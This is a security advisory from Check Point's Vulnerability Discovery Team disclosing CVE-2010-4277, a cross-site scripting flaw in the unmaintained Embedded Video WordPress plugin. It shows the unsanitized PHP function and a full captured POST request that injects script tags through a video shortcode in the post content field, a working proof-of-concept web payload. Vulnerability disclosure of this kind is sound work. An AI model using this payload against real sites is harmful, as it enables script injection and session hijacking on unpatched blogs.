Embedded Video WordPress Plugin Cross Site Vulnerability (XSS) - CVE-2010-4277

[Rodrigo Branco <rbranco () checkpoint com>]

Dear List,

I'm writing on behalf of the Check Point Vulnerability Discovery Team to publish the following vulnerability.




Check Point Software Technologies - Vulnerability Discovery Team (VDT)
http://www.checkpoint.com/defense/

Embedded Video WordPress Plugin Cross Site Scripting Vulnerability
CVE-2010-4277


INTRODUCTION

Embedded Video is a WordPress Plugin created by Jovel Stefan to easily embedded videos in blog posts.  The videos can 
be uploaded to the web server
or come from external portals (like YouTube, Google Video and others).  Links to the video on the video portal or for 
download of the video can be
automatically generated as well.  The linktext is also configurable individually. Furthermore a fixed prefix for the 
linktext can be determined. The 
videos can be integrated easily by using the built-in WYSIWYG editor.  The plugin has a Cross Site Script (XSS) 
vulnerability.

This problem was confirmed in the latest version of the plugin, other versions maybe also affected.  

The developer of the replied to the advisory in a very responsible and fast manner, but unfortunately, there will be no 
updates due to the fact that 
this plugin is not maintained anymore.


CVSS Scoring System

The CVSS score is: 6.4
        Base Score: 6.7
        Temporal Score: 6.4
We used the following values to calculate the scores:
        Base score is: AV:N/AC:L/Au:N/C:C/I:C/A:N
        Temporal score is: E:F/RL:U/RC:C


DETAILS

The file lembedded-video.php does not sanitize content variable, it is possible to inject malformed data by Javascript.

Code affected:

function embeddedvideo_plugin($content) {
        $output = preg_replace_callback(REGEXP_1, 'embeddedvideo_plugin_callback', $content);
        $output = preg_replace_callback(REGEXP_2, 'embeddedvideo_plugin_callback', $output);
        $output = preg_replace_callback(REGEXP_3, 'embeddedvideo_plugin_callback', $output);
        return ($output);
}

Request:
http://<server>/wordpress/wp-admin/post.php
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: <server>
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.12) Gecko/20101026
Firefox/3.6.12
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://<server>/wordpress/wp-admin/post.php?post=8&action=edit&message=1
C o o k i e : w o r d p r e s s _ b b f a 5 b 7 2 6 c 6 b 7 a 9 c f 3 c d a 9 3 7 0 b e 3 e e 9 1 = a d m i n
%7C1290110435%7C7f9fa1a66aec0259906ea15086aea0c8; wp-settings-time-1=1289940308;
w o r d p r e s s _ t e s t _ c o o k i e = W P + C o o k i e + c h e c k ;
w o r d p r e s s _ l o g g e d _ i n _ b b f a 5 b 7 2 6 c 6 b 7 a 9 c f 3 c d a 9 3 7 0 b e 3 e e 9 1 = a d m i n
%7C1290110435%7C68b064d813dd8bfaa5d2d2cdf757848e; wp-settings-1=m1%3Do
%26m6%3Dc%26m7%3Do
Content-Type: application/x-www-form-urlencoded
Content-Length: 1786
_wpnonce=b2bc367f9c&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost
% 3 D 8 % 2 6 a c t i o n % 3 D e d i t % 2 6 m e s s a g e
%3D1&user_ID=1&action=editpost&originalaction=editpost&post_author=1&post_type=post&original_
post_status=publish&referredby=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin
%2Fpost.php%3Fpost%3D8%26action%3Dedit&_wp_original_http_referer=http%3A%2F
%2Flocalhost%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost%3D8%26action
% 3 D e d i t & p o s t _ I D = 8 & a u t o s a v e n o n c e = 9 6 2 9 3 9 1 7 c 9 & m e t a - b o x - o r d e r -
n o n c e = c 2 f e 5 5 3 5 c 4 & c l o s e d p o s t b o x e s n o n c e = b a d 9 d c 7 7 5 b & w p -
preview=&hidden_post_status=publish&post_status=publish&hidden_post_password=&hidden_post_v
isibility=public&visibility=public&post_password=&mm=11&jj=17&aa=2010&hh=00&mn=05&ss=33&hi
dden_mm=11&cur_mm=11&hidden_jj=17&cur_jj=17&hidden_aa=2010&cur_aa=2010&hidden_hh=00
&cur_hh=00&hidden_mn=05&cur_mn=36&original_publish=Update&save=Update&post_category
% 5 B % 5 D = 0 & p o s t _ c a t e g o r y % 5 B % 5 D = 1 & n e w c a t e g o r y = N e w + C a t e g o r y
+Name&newcategory_parent=-1&_ajax_nonce-add-category=62352e38f5&tax_input%5Bpost_tag
% 5 D = & n e w t a g % 5 B p o s t _ t a g
%5D=&post_title=testando&samplepermalinknonce=4a0d9c8491&content=%5Byoutube+%3Cscript
+type%3D%22text%2Fjavascript%22%3E%2F%2F+%3C%21%5BCDATA%5B%0D%0Aalert
%281%29%0D%0A%2F%2F+%5D%5D%3E%3C%2Fscript%3E+%3Cscript+type%3D%22text
%2Fjavascript%22%3E%2F%2F+%3C%21%5BCDATA%5B%0D%0Aalert%282%29%0D%0A%2F
%2F+%5D%5D%3E%3C%2Fscript%3E%5D&excerpt=&trackback_url=&meta%5B6%5D%5Bkey
%5D=_edit_last&_ajax_nonce=5453d93de8&meta%5B6%5D%5Bvalue%5D=1&meta%5B9%5D
%5Bkey%5D=_edit_lock&_ajax_nonce=5453d93de8&meta%5B9%5D%5Bvalue
%5D=1289954192&meta%5B8%5D%5Bkey%5D=_wp_old_slug&_ajax_nonce=5453d93de8&meta
% 5 B 8 % 5 D % 5 B v a l u e % 5 D = & m e t a k e y i n p u t = & m e t a v a l u e = & _ a j a x _ n o n c e - a d d 
-
meta=9453fa7f77&advanced_view=1&comment_status=open&ping_status=open&post_name=testan
do&post_author_override=1

CREDITS

This vulnerability has been brought to our attention by Wagner Elias from Conviso IT Security company 
(http://www.conviso.com.br) and researched 
internally by Rodrigo Rubira Branco from the Check Point Vulnerability Discovery Team (VDT).




Rodrigo Rubira Branco
Senior Security Researcher
Vulnerability Discovery Team (VDT)
Check Point Software Technologies
http://www.checkpoint.com/defense